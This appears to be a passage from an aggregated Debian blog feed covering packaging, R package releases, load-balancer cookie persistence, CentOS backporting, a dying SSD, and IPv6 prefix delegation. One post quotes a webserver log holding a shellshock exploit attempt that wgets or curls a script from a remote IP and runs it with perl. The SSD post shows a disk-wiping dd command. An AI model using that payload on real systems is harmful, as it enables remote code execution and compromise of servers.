	for i in  ls debian/*.init.in  ; do \
		pkgos-gen-systemd-unit $$i ; \
		MYSERVICE= echo $$i   sed 's/debian\///'  ; \
		MYSERVICE= echo $$MYSERVICE   sed 's/.init.in/.service/'  ; \
		dh_systemd_enable $$MYSERVICE ; \
	done

As you can see, it s possible to use a debian/*.upstart.in and not use the templating system, in the more complicated case (I needed it mostly for neutron-server and neutron-plugin-openvswitch-agent). Conclusion I do not pretend that what I wrote in the openstack-pkg-tools is the ultimate solution. But I m convince that it answers our own need as the OpenStack maintainers in Debian. There s a lot of room for improvements (like implementing the Should-Start in Upstart jobs, or stop calling the sysv-rc script in the systemd units), but that this is a very good move that we did to use templates and generated scripts, as the init scripts are a way more easy to maintain now, in a much more unified way. As I m not completely satisfied for the systemd and Upstart implementation, I m sure that there s already a huge improvements on the sysv-rc script maintainability. Last and again: please send your comments and help improving the above! :)

A new version of rfoaas is now on CRAN. The rfoaas package provides an interface for R to the most excellent FOAAS service -- which provides a modern, scalable and RESTful web service for the frequent need to tell someone to eff off. The FOAAS backend gets updated in spurts, and yesterday a few pull requests were integrated, including one from yours truly. So with that it was time for an update to rfoaas. As the version number upstream did not change (bad, bad, practice) I appended the date the version number. CRANberries also provides a diff to the previous release. Questions, comments etc should go to the GitHub issue tracker off the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

With a bit of luck due to a collegue having a spare ticket, I managed to make it to an awesome Wilco show at The Riviera in Uptown. This concert was part of a set a six shows. Tweedy and the band were fast, and loose, and wonderful, and totally beloved by the home crowd. An truly outstanding show, and a great evening. Also: I should get out more often. Last blog entry about Wilco was from 2005. Ouch.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

In the old days people deployed the Apache HTTPD together with mod_jk and mod_balancer in front of Apache Tomcat instances to achieve scalability and resilience. That sooner or later turns out to not provide features you nowadays would like to have to run a service 24/7. So it happened that I had to jump into the sometimes cold sea of managing services fronted by F5 BigIP devices, a somewhat common load balancing solution. Soon after you start to introduce loadbalancing, because you grow beyond the "one fat webserver" state, you'll have the requirement to implement some way of session persistence. In the old days you might have added a unique jvmRoute value to your mod_balancer pool and to your tomcat configuration to match the connection to the right pool member. If you're clever you've set it on the Tomcat as a variable that automatically builds up the jvmRoute based on the hostname, so you can add new instances without having to touch the Tomcat configuration. In case you were not that clever (like we were when we started) you might have added placeholders in the server.xml to set the jvmRoute value in your deployment script. I think in a somewhat better world your first step usually is to introduce a shared session store, be it the php session handler backed by a memcached or Hazelcast for the Java afficionados, to avoid the persistence requirement on your balancer. But if you grow even bigger the requirement will soon reappear because you might have to add some form of sharding and now have to sent users to the same cluster serving a specific shard. In the end all of that is not cool and your developers have to be aware of those issues. For all cases where fault tolerance within the session is not a priority we aimed for something that we can enable or disable on the balancer without application code changes. The "let the box do its job" solution The nicest solution from our point of view is letting the F5 inject a cookie that points the device on subsequent requests to the right pool node. If you like you can define the cookie name, a timeout, force the injection on replies and some other tunables. Take a look at the help for ltm persistence cookie if you'd like to have a look at the details. The "let's do it by hand but on the box" solution Most Java frameworks provide a session cookie called JSESSIONID. Why not use that one and add a persistence table entry on the BigIP with the cookie as the lookup key? As always if there's no solution provided out of the box you can implement an iRule for it. Kind of an F5 mantra. There are many examples out there, here is what we ended up with:

when HTTP_REQUEST  
    if   [HTTP::cookie "JSESSIONID"] ne ""  
        persist uie [string tolower [HTTP::cookie "JSESSIONID"]] 1800 
     
 
when HTTP_RESPONSE  
    if   [HTTP::cookie "JSESSIONID"] ne ""  
        persist add uie [string tolower [HTTP::cookie "JSESSIONID"]] 1800
     
 

And here is where I failed Now imagine you're running an application that so far handles only machine to machine traffic without session persistence. A few month later you're approached to enable session persistence, because someone introduced a management console for the application as a web user interface. Without further ado you jump on board and provide - showcasing the flexibility of the new balancer - session persistence based on cookies injected by the BigIP. You've done it before, you enable it for the test environment, everything looks fine, you enable it for the production setup. Everything is fine (at least for now ...), the WUI workes fine, sessions are persistent to the node the user hit first. A month or two later someone from the development team approaches you again, this time asking if the balancing setup has some issues because over 90% of the live traffic hit one of the two machines in the pool until it wents down due to a crash or a deployment. Then about 90% hit the other node, even after the crashed one is resurrected. But every time the developer tests the balancing with a "while true" loop sending several hundred requests via curl the balancing is perfectly equal. After beeing puzzled by the behaviour myself we started to look at the live traffic with tcpdump and suddenly it was all clear when I saw the BigIP cookie beeing passed around. Actually everything behaved as we configured it. The application used a proper HTTP library and that one implemented cookies: If you receive one you're polite and pass it back to the sender. The original sender of course also implements HTTP with cookie support and now, due to the natur of the traffic, we have long living connections between two applications passing around the same cookie. On every single HTTP request sent through this connection. And every time the balancer will look at the cookie and happily base the routing decision on the pool member noted in this cookie. When we tested with curl we did not have the usage of cookies on our mind. Because our false assumption was that the applications do not create cookies for machine to machine traffic. Nobody, including myself, actively remembered the decision to base the session persistence on cookies injected by the balancer. We went on and switched to the iRule mentioned above. Luckily we already had that one implemented and tested for a different use case with the requirement to not inject additional cookies.

1. Can we maybe improve the change process for the balancer to handle a mixed traffic scenario?
2. Do we need monitoring to monitor the balancing of requests?
3. Is it a wise idea to mix machine2machine and user2machine traffic on the same port?
4. Should we maybe, if we seperate properly, place management applications on a different system?
5. Is our documentation sufficient?

Combine 3. and 4. and ask yourself how resilient you are if someone tries to exhaust the memory of the balancer with a lot of connection attempts that have random JSESSIONID cookies? Or is it even possible to exhaust ressource with faked BigIP cookies you inject? Maybe it's even a vector for something like http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf? Quite some questions left to think about and draft answers for.

Lately I faced the requirement to create a backport of net-snmp 5.7.2, which is part of CentOS 7, to a largely CentOS 5 and 6 based infrastructure. Due to some prior adventures in the rpm world I already knew about Mock (the Fedora equivalent to pbuilder). The easy part was the backporting to CentOS 6. Here the major objectiv is ripping out the newly added systemd support. That boils down to just ripping out a patch, removing a configure flag, some %post, %preun, %postun script snippets and the corresponding %install magic from the spec file. Builds fine but leaves us with the issue that the init script ships in a package net-snmp-sysvinit but the whole chkconfig registration magic is gone. I put that aside for a moment and moved on to CentOS 5. It did not even start to build.

1. There is no tcp_wrappers-devel in CentOS 5.
2. The perl libraries are in the main perl package and not in perl-devel.
3. lm_sensors-devel is not at version 3.

I lowered the versioned build-dep on lm_sensors, disabled via a spec file toggle the tcp-wrapper support and changed the perl build-dep. This time it failed in the configure script due to DTLS support issues with the ancient openssl in CentOS 5. Decided to drop that one as well from the list of configure flags since we do not use it. Tried to build it again, now it failed somewhere down the road post compilation when assembling the package. Not cool. At that time we pushed a few other ideas back and forth. We found an isolated patch for net-snmp 5.6 that could fix our most pressing issue and someone had a look if that could be backported to CentOS 5 easily. Nope, internal structure of net-snmp changed a lot in between. So back to backporting. After staring long enough at the build log I could understand that the variable % RPM_BUILD_ROOT is empty in the CentOS 5 world. And indeed the BuildRoot stanza is also gone from the spec file. So I reintroduced that one and later even found documentation in the Fedora Wiki about this issue. If you know it it's easy to work around it, so I just defined it by hand:

BuildRoot: % _tmppath /% name -% version -% release -root
%global RPM_BUILD_ROOT % buildroot 

About ten minutes later I had a set of rpm files for CentOS 5. Tried to install it, failed due to a depedency on libmysqlclient15 which is part of the mysql package in CentOS 5. Yes, eight years back RedHat did not split off the lib packages and that would mean for us to install a mysql database on every system. So no, we won't do it and we just removed the mysql support. Left with only the init script setup missing I tried to be clever and failed miserable. Be warned, this would've also been a bad idea in the Debian world. Since we have the init script in a seperate binary package I thought I could just use something like

Requires: net-snmp-sysvinit

in the main net-snmp package and re-add the old %post, %preun and %postun magic. Of course that failed at install time for a good reason. In the second (desperate) try to work around it I tried something similar to "PreDepends"

Requires(post): net-snmp-sysvinit 

That works at install time but still breaks on a removal/update. So I think I did the right thing in the end (after reading some more documentation) and just added the scripts to the net-snmp-sysvinit package. It's just about adding the package name to the %post macro invocation. My initial plan included the wish to have one spec file that is usable to build on CentOS 5 and 6 but now I'm left with a number of special cases for CentOS 5. I already knew about the %if %endif conditional macro you can use in rpm spec files, so what was missing was a proper variable to base my decisions on. Every CentOS release ships with a "/etc/rpm/" directory that includes several macro file. Within those one can find the % rhel variable that defines an int we can use.

%if % rhel  <= 5
BuildRequires: perl
%else
BuildRequires: perl-devel
%endif

And finally I could build from one spec file a backport for CentOS 5 and 6. My diff against the CentOS 7 spec is at https://sven.stormbind.net/centos/netsnmp-bp-el56/net-snmp-backport.from_el7.diff Drawbacks of the resulting packages:

1. No tcp-wrapper support, we don't care but that should be just another package name issue for the conditional Requires, simililar to the perl isssue.
2. No mysql support. We do not care, one could change that and/or make it conditional or build against newer mysql releases where the -lib package is split.
3. No DTLS support on CentOS 5. We do not care and that is not easy to fix.
4. You've to install the net-snmp-sysvinit script to get back the usual setup you'd expect.
5. We ripped out the systemd support, I did not investigate yet if it's possible to keep that included and just not enable it.

By now CentOS 5 is old. It's painful to backport to it. But it's still possible. Another strategy someone tried was packaging the current net-snmp upstream release based on the CentOS 5 spec file. That would've meant throwing away all 106 patches RedHat includes in that package at the moment and to depend on new upstream releases for your own security support. In case we start using CentOS 7 we would also diverge on the version of snmpd we use. So we decided to stick with the RedHat sources and keep the version consistent on our infrastructure even if we can not keep feature parity. After all the issues one encounters while backporting packages in the rpm world are similar to those in the dpkg world. Still it feels different if you're not familar with the toolchain. For example

1. If you build a src.rpm with mock you've to copy it out of the result directory before you rebuild it with mock to create the binary package. Mock deletes everything from the result directory when starting a new build. So I guess parallel builds for the same chroot will not work.
2. Depedencies on files instead of packages are a strange thing.
3. How on earth do you maintain a patchset of over a hundred patches without something like quilt? I guess you always have to apply them in a for loop on your source directory and then you create a copy of that to implement your modifications and create another patch. I'm pretty sure eight years ago Fedora was far away from using git so I would rule out patch branches in a VCS for the moment. Not sure what they invented inside RedHat to keep track of it.

If you run a webserver chances are high that you'll get hit by random exploit-attempts. Today one of my servers has this logged - an obvious shellshock exploit attempt:

92.242.4.130 blog.steve.org.uk - [02/Dec/2014:11:50:03 +0000] \
"GET /cgi-bin/dbs.cgi HTTP/1.1" 404 2325 \
 "-" "()   :; ; /bin/bash -c \"cd /var/tmp ; wget http://146.71.108.154/pis ; \
curl -O http://146.71.108.154/pis;perl pis;rm -rf pis\"; node-reverse-proxy.js"

Yesterday I got hit with thousands of these referer-spam attempts:

152.237.221.99 - - [02/Dec/2014:01:06:25 +0000] "GET / HTTP/1.1"  \
200 7425 "http://buttons-for-website.com" \
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"

When it comes to stopping dictionary attacks against SSH servers we have things like denyhosts, fail2ban, (or even non-standard SSH ports). For Apache/webserver exploits we have? mod_security? I recently heard of apache-scalp which seems to be a project to analyse webserver logs to look for patterns indicative of attack-attempts. Unfortunately the suggested ruleset comes from the PHP IDS project and are horribly bad. I wonder if there is any value in me trying to define rules to describe attacks. Either I do a good job and the rules are useful, or somebody else things the rules are bad - which is what I thought of hte PHP-IDS set - I guess it's hard to know. For the moment I look at the webserver logs every now and again and shake my head. Particularly bad remote IPs get firewalled and dropped, but beyond that I guess it is just background noise. Shame.

A new major release of RQuantLib is now on CRAN and getting to Debian. All C++ source files have been rewritten to take advantage of newer Rcpp features. Several Fixed Income functions have been added, or refreshed, thanks to contributions by Michele Salvadore. Calendar support was greatly expanded thanks to a contribution by Danilo Dias da Silva. All key changes are listed in detail below.

Changes in RQuantLib version 0.4.0 (2014-12-01)

• Changes in RQuantLib code:
  • All function interfaces have been rewritten using Rcpp Attributes. No SEXP remain in the function signatures. This make the code shorter, more readable and more easily extensible.
  • The header files have been reorganized so that plugin use is possible. An impl.h files is imported once for each compilation unit: for RQuantLib from the file src/dates.cpp directory, from a sourced file via a #define set by the plugin wrapper.
  • as<>() and wrap() converters have added for QuantLib Date types.
  • Plugin support has been added, allowing more ad-hoc use via Rcpp Attributes.
  • Several Fixed Income functions have been added, and/or rewritten to better match the QuantLib signatures; this was done mostly by Michele Salvadore.
  • Several Date and Calendar functions have been added.
  • Calendar support has been greatly expanded thanks to Danilo Dias da Silva.
  • Exported curve objects are now more parsimonious and advance entries in the table object roughly one business month at a time.
  • The DiscountCurve and Bond curve construction has been fixed via a corrected evaluation date and omitted the two-year swap rate, as suggested by Luigi Ballabio.
  • The NAMESPACE file has a tighter rule for export of *.default functions, as suggested by Bill Dunlap
  • Builds now use OpenMP where available.
  • The package now depends on QuantLib 1.4.0 or later.
• Changes in RQuantLib tests:
  • New unit tests for dates have been added.
  • C++ code for the unit tests has also been converted to Rcpp Attributes use; a helper function unitTestSetup() has been added.
  • Continuous Integration via Travis is now enabled from the GitHub repo.
• Changes in RQuantLib documentation:
  • This NEWS file has been added. Better late than never, as they say.

Courtesy of CRANberries, there is also a diffstat report for the this release. As always, more detailed information is on the RQuantLib page. Questions, comments etc should go to the rquantlib-devel mailing list off the R-Forge page. Issue tickets can be filed at the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

SSD adventures and fun times! TL;DR: Oh boy. Things work now, but I'm not sure exactly what happened When it all worked fine almost In June, I bought a new laptop, and a new SSD for it. I used that model of SSD before (Samsung 840 Evo), although not for a long time, so I wasn't expecting anything unusual. Since the laptop is a slower one, I installed Debian as follows: connect SSD to my workstation, do an install on it (via Virtualbox connected to the raw device), disconnect and install in the laptop. First sign of trouble was that the SSD didn't boot reliably. I said - maybe my Virtualbox method (new method) wasn't right - so I reinstalled on the laptop, and everything was mostly OK. Mostly OK because rarely the laptop had issues with seeing the SSD. Maybe not cold booting, requiring a restart, or giving some ATA errors on boot (bot nothing afterwards). I didn't use the laptop too much - I mostly use it when travelling - so I didn't investigate further. Trouble begins Fast forward to two weeks ago: I was preparing to leave on a trip, so I booted the laptop (everything OK), apt-get dist-upgrade, synced my git trees, etc. Everything was fine. The next day, in the airport between two flights, the laptop doesn't boot - doesn't see the SSD at all. I tried rebooting a gazillion times, nothing. I was quite upset - at the hardware, and at me for not paying attention to the unreliability signs before. Once I arrived at the destination, I opened the laptop, tried re-seating the SSD, nothing. I bought a SATA-to-USB bridge, and surprise! Boots from the first, no issues. Diagnosis A: Laptop SATA connector has issues. I work with this SATA-to-USB bridge for a couple of days, but it was quite slow (~20MB/s), so I buy a SATA-to-USB3 cradle, which should be much faster. But the SSD was not visible in this cradle. Not only that, but it was causing the laptop to hang in the POST screen - reliably. Turn the cradle off, the laptop passes POST, turn it on, the laptop took 2 minutes to pass the POST. OK, the cradle is broken. Connect the SSD back to the USB2 thing not booting For about five minutes, it was like "dead". After that, it booted and behaved normally. I didn't know what to think, I just put it aside. So worked for the rest of the week on the USB2 bridge, with no issues (once it the SSD dropped off, but I think that was just USB being USB). So at the end of the week, diagnosis (A) still was the main contender. On the flight back home, I worked from the plane for a good number of hours, again no issue. Laptop/SSD were fully powered off before the flight, powered with no issues, worked fine. At the end of the flight I completely shut down my laptop. Diagnosis A still on top. Real trouble now After getting home and sleeping a bit, I wanted to power up the laptop just to transfer the code I wrote on the plane. But it didn't power up. No problem, I said, now I actually have access to running Linux machines and I can check what's happening. And to my surprise, the SSD was behaving erratically:

• part of the time it was not seen at all, the block device was a generic kernel: scsi 21:0:0:0: Direct-Access USB TO I DE/SATA Device 0008 PQ: 0 ANSI: 0
• part of the time it was seen, i.e. the block device was visible as kernel: scsi 22:0:0:0: Direct-Access Samsunp w 0 EVO 500G 0008 PQ: 0 ANSI: 0, but with lots of ATA errors
• it took ~10 minutes before I was able to access it at all
• access to the disk when it was visible and not erroring out was slow; e.g. a cfdisk /dev/sdb could take >5 seconds before showing the screen

The looked like this (when connected over SATA):

20:22:57 kernel: ata2.00: ATA-9: Samsung SSD 840 EVO 500GB, EXT0BB6Q, max UDMA/133
20:22:57 kernel: ata2.00: 976773168 sectors, multi 1: LBA48 NCQ (depth 31/32), AA
20:22:57 kernel: ata2.00: configured for UDMA/133
20:22:57 kernel: scsi 3:0:0:0: Direct-Access     ATA      Samsung SSD 840  EXT0 PQ: 0 ANSI: 5
20:22:57 kernel: sd 3:0:0:0: [sdc] 488397168 512-byte logical blocks: (250 GB/232 GiB)
20:22:57 kernel: sd 3:0:0:0: [sdc] Write Protect is off
20:22:57 kernel: sd 3:0:0:0: [sdc] Mode Sense: 00 3a 00 00
20:22:57 kernel: sd 3:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
20:22:57 kernel: ata2.00: exception Emask 0x0 SAct 0x2 SErr 0x400001 action 0x6 frozen
20:22:57 kernel: ata2: SError:   RecovData Handshk  
20:22:57 kernel: ata2.00: failed command: READ FPDMA QUEUED
20:22:57 kernel: ata2.00: cmd 60/08:08:68:01:00/00:00:00:00:00/40 tag 1 ncq 4096 in
20:22:57 kernel:         res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout)
20:22:57 kernel: ata2.00: status:   DRDY  
20:22:57 kernel: ata2: hard resetting link
20:22:57 kernel: ata2: SATA link up 6.0 Gbps (SStatus 133 SControl 300)
20:22:57 kernel: ata2.00: failed to get NCQ Send/Recv Log Emask 0x1
20:22:57 kernel: ata2.00: failed to get NCQ Send/Recv Log Emask 0x1
20:22:57 kernel: ata2.00: configured for UDMA/133
20:22:57 kernel: ata2.00: device reported invalid CHS sector 0
20:22:57 kernel: ata2: EH complete
20:22:57 kernel: ata2.00: exception Emask 0x0 SAct 0x400000 SErr 0x400001 action 0x6
20:22:57 kernel: ata2.00: irq_stat 0x44000008
20:22:57 kernel: ata2: SError:   RecovData Handshk  
20:22:57 kernel: ata2.00: failed command: READ FPDMA QUEUED
20:22:57 kernel: ata2.00: cmd 60/08:b0:08:03:00/00:00:00:00:00/40 tag 22 ncq 4096 in
20:22:57 kernel:         res 41/84:00:08:03:00/00:00:00:00:00/00 Emask 0x410 (ATA bus error) <F>
20:22:57 kernel: ata2.00: status:   DRDY ERR  
20:22:57 kernel: ata2.00: error:   ICRC ABRT  
20:22:57 kernel: ata2: hard resetting link
20:22:57 kernel: ata2: SATA link up 6.0 Gbps (SStatus 133 SControl 300)
20:22:57 kernel: ata2.00: failed to get NCQ Send/Recv Log Emask 0x1
20:22:57 kernel: ata2.00: failed to get NCQ Send/Recv Log Emask 0x1
20:22:57 kernel: ata2.00: configured for UDMA/133
20:22:57 kernel: ata2: EH complete

Note that all of the messages were in short order (during boot, they show the same timestamp but I don't think it was actually the same second). I tried connecting the SSD over USB2 (partially working), over USB3 (not working!), and directly over SATA (initially not working). I connected another SSD I had around (same model, just smaller capacity) over all three, it worked (so the USB3 bridge was working, at least). Diagnosing (A) was out the door now, and the situation was very clear: SSD dying/dead/almost gone. So I connected both broken SSD and empty SSD to my workstation over SATA, and started copying data (once I managed to boot with the old one being visible and working). During the data copy, I saw that the "broken" SSD behaved erratically indeed: it was copying data off it with either ~40MB/s, ~70MB/s, and ~160MB/s. Not other speed, at least not for long time, just cycling between these three; and this is a very slow speed for this SSD model. And then I remembered that there is, for this model (Samsung 840 Evo), an advisory/firmware fix that old data gets harder to access (slower and slower), due to how TLC cells levels are read/etc. I don't know exactly what "old" means, but since the partition table was written only once, it should be the oldest thing written, which would make it the most susceptible to the slowdown, and could explain the cfdisk slowness. So after the data copy, I tested this:

• read the first ~1GB off the SSD: ~70MB/s
• rewrite it
• read it again: ~110MB/s

So yes, it is something related to this, probably. Diagnosis B: "just" the Samsung Evo bug. So I proceed to (try to) upgrade the firmware:

• the firmware upgrade and data fix on the "new" SSD: firmware upgrade almost instantly, no issues at all
• firmware upgrade on the "old" SSD: Failed to upgrade firmware (or some message like that)

Uh oh, so it's more than this - the SSD seems to be actually broken. I don't have much experience with SSDs, I used for many years an Intel X25-M and more recently I have a couple of Samsung 840 Pro, but I never had issues until now, so maybe the cheap Evo is just cheap and fast Note that during all this drama, SMART gives good info about SSD, and SMART tests are perfect (short/long). Just a number of UDMA CRC errors so thanks for nothing. I try to the firmware upgrade a few times, I give up. Diagnosis C: SSD is just plain broken. I'll send the SSD for a replacement/fix, so (even though it's encrypted), let's try to erase it first (as I can still read/write to it). And since just dd if=/dev/zero of=/dev/sdX is too common, let's try a builtin (ATA) erase! After fighting with hdparm and the fact that my BIOS does indeed "security freeze" on the drives (so you can't change the security settings nor erase the drives), and finding an article on the net that gives a few workaround, I manage to "unfreeze" it by not only live unplugging the SATA cable, but also the power cable, and plugging them back in. Time to erase. Side-note here:

• hdparm says: "2min for SECURITY ERASE UNIT"; this actually takes ~40 seconds
• hdparm also says: "8min for ENHANCED SECURITY ERASE UNIT"; this takes only ~5 seconds!

So, especially given the very fast ENHANCED erase, I now believe the SSD is truly broken. Diagnosis C rules. And finally, just confusion After the SSD erase, reading (the zeros) from the SSD is really fast: more than 500MB/s, as expected. I also try once more to upgrade the firmware for the Evo bug, and it works flawlessly this time. Even rebooting the machine many times works without problems, the SSD is seen every single time. I still can't make it work well over the USB3 bridge (but I'm not very convinced that device work well, since Linux does apply quirks when it detects it). But it doesn't give any ATA errors this time, and it works (read and write) consistently fast (as per the Evo specs). I still have to let it go through a long burnin with verification, but a short one works fine, so at this point I'm just very confused as what was (is?) the actual problem with this device, and why it behaves so strange Was the laptop broken? Clearly no. Was the SSD broken, or just impacted by the slowdown issue? Time will tell. I'll put it through the paces, and see. But unless I replace it, I'll keep this just for "fast cache" use cases, and not to hold real data. Yep, computers are fun!

There has been a lot of discussion recently where there is strong disagreement, even about how to discuss the disagreement. Here s a few thoughts on the matter. The thing I personally find the most annoying is when someone thinks what someone else says is inappropriate and says so, it seems like the inevitable response is to scream censorship. When people do that, I m pretty sure they don t know what the word censorship actually means. Debian/Ubuntu/Insert Project Name Here resources are not public spaces and no government is telling people what they can and can t say. When you engage in speech and people respond to that speech, even if you don t feel all warm and fuzzy after reading the response, it s not censorship. It s called discussion. When someone calls out speech that they think is inappropriate, the proper response is not to blame a Code of Conduct or some other set of rules. Projects that have a code, also have a process for dealing with claims the code has been violated. Unless someone invokes that process (which almost never happens), the code is irrelevant. What s relevant is that someone is having a problem with what or how you are saying something and are in some way hurt by it. Let s focus on that. The rules are irrelevant, what matters is working together in a collegial way. I really don t think project members actively want other project members to feel bad/unsafe, but it s hard to get outside ones own defensive reaction to being called out. So please pay less attention to how you re feeling about things and try to see things from the other side. If we can all do a bit more of that, then things can be better for all of us. Final note: If you ve gotten this far and thought Oh, that other person is doing this to me , I have news for you it s not just them.

Unless you ve been living under a firewalled rock, you know that IPv6 is coming. There s also a good chance that you ve heard that IPv6 doesn t have NAT. Or, if you pay close attention to the minutiae of IPv6 development, you ve heard that IPv6 does have NAT, but you don t have to (and shouldn t) use it. So let s say we ll skip NAT for IPv6. Fair enough. However, let s say you have this use case:

1. A bunch of containers that need Internet access
2. That are running in a VM
3. On your laptop
4. Behind your home router!

For IPv4, you d just layer on the NAT, right? While SIP and IPsec might have kittens trying to work through three layers of NAT, for most things it ll Just Work. In the Grand Future of IPv6, without NAT, how the hell do you make that happen? The answer is Prefix Delegation , which allows routers to delegate management of a chunk of address space to downstream routers, and allow those downstream routers to, in turn, delegate pieces of that chunk to downstream routers. In the case of our not-so-hypothetical containers-in-VM-on-laptop-at-home scenario, it would look like this:

1. My border router (a DNS-323 running Debian) asks my ISP for a delegated prefix, using DHCPv6. The ISP delegates a /56¹. One /64 out of that is allocated to the network directly attached to the internal interface, and the rest goes into the pool , as /60 blocks (so I ve got 15 of them to delegate, if required).
2. My laptop gets an address on the LAN between itself and the DNS-323 via stateless auto-addressing ( SLAAC ). It also uses DHCPv6 to request one of the /60 blocks from the DNS-323. The laptop puts one /64 from that block as the address space for the virtual LAN (actually a Linux bridge) that connects the laptop to all my VMs, and puts the other 15 /64 blocks into a pool for delegation.
3. The VM that will be running the set of containers under test gets an address on the all VMs virtual LAN via SLAAC, and then requests a delegated /64 to use for the all containers virtual LAN (another bridge, this one running on the VM itself) that the containers will each connect to themselves.

Now, almost all of this Just Works. The current releases of ISC DHCP support prefix delegation just fine, and a bit of shell script plumbing between the client and server seals the deal the client needs to rewrite the server s config file to tell it the netblock from which it can delegate. Except for one teensy, tiny problem routing. When the DHCP server delegates a netblock to a particular machine, the routing table needs to get updated so that packets going to that netblock actually get sent to the machine the netblock was delegated to. Without that, traffic destined for the containers (or the VM) won t actually make it to its destination, and a one-way Internet connection isn t a whole lot of use. I cannot understand why this problem hasn t been tripped over before. It s absolutely fundamental to the correct operation of the delegation system. Some people advocate running a dynamic routing protocol, but that s a sledgehammer to crack a nut if ever I saw one. Actually, I know this problem has been tripped over before, by OpenWrt. Their solution, however, was to use a PHP script to scan logfiles and add routes. Suffice it to say, that wasn t an option I was keen on exploring. Instead, I decided to patch ISC DHCP so that the server can run an external script to add the necessary routes, and perhaps modify firewall rules and also to reverse the process when the delegation is released (or expired). If anyone else wants to play around with it, I ve put it up on Github. I don t make any promises that it s the right way to do it, necessarily, but it works, and the script I ve added in contrib/prefix-delegation-routing.rb shows how it can be used to good effect. By the way, if anyone knows how pull requests work over at ISC, drop me a line. From the look of their website, they don t appear to accept (or at least encourage) external contributions. So, that s one small patch for DHCP, one giant leap for my home network.

There s many ways to interpret the last GR. The way I see it is how Joey hoped Debian was: the outcome of the poll shows that we don t want to do technical decisions by voting. At the beginning of this GR, I was supportive of it, and though it was a good thing to enforce the rule that we care for non-systemd setups. Though I have slowly changed my mind. I still think it was a good idea to see what the community thought after a so long debate. I now think that this final outcome is awesome and couldn t have been better. Science (and computer science) has never been about voting, otherwise the earth would be flat, without drifting continents. So my hope is that the Debian project as a whole, will allow itself to do mistakes, iterative trials, errors, and go back on any technical decision if they don t make sense anymore. When being asked something, it s ok to reply: I don t know , and it should be ok for the Debian project to have this alternative as one of the possible answers. I m convince that refusing to take a drastic choice in this point in time was exactly what we needed to do. And my hope is that Joey comes back after he realizes that we ve all understood and embarrassed his position that science cannot be governed by polls. For Stretch, I m sure there s going to be a lot of new alternatives. Maybe uselessd, eudev and others. Maybe I ll have a bit of time to work on OpenRC Debian integration myself (hum I m dreaming here ). Maybe something else. Let s just wait. We have more than 300 bugs to fix before Jessie can be released. Let s happilly work on that together, and forget about the init systems for a while P.S: Just to be on the safe side: the rotten tomatoes image was not about criticizing the persons who started the poll, who I respect a lot, especially Ian, who I am convinced is trying to do his best for Debian (hug).